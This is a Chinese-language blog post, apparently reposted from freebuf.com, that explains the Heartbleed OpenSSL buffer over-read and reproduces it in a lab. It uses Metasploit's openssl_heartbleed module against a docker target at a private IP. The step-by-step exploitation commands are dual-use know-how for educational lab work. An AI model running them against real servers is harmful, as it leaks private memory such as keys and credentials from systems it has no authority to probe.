心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab

一、漏洞介绍

心 脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

二、漏洞复现

准备环境

靶机(centos7):192.168.81.136

攻击机(kali): 192.168.81.135

确保两台测试机网络能通

1、输入命令docker-compose up -d运行漏洞环境

图片[1]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

图片[2]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

2、查看运行情况

图片[3]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

3、打开kali,运行metaspolit

图片[4]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

4、使用metasploit进行攻击

1)搜索相关漏洞模块

search Heartbleed

图片[5]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科2)使用相关攻击模块

use auxiliary/scanner/ssl/openssl_heartbleed

图片[6]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科3)查看需要配置的选项

show options

图片[7]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

4)对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip)

set rhosts 192.168.81.136

图片[8]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

5)开始攻击并查看结果,出现白框字样表示漏洞存在

run

图片[9]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

6)set verbose true#(设置verbose,这个设置要设置成true才能看到泄露的信息)此设置主要是为了显示整个过程以及leak出来的数据

图片[10]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

图片[11]-心 脏出血(Heartbleed)漏洞浅析、复现 – 作者:龙渊实验室LongYuanLab-安全小百科

注意:1、关闭防火墙  2、关闭selinux

原文链接

来源:freebuf.com 2020-08-21 15:33:13 by: 龙渊实验室LongYuanLab

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论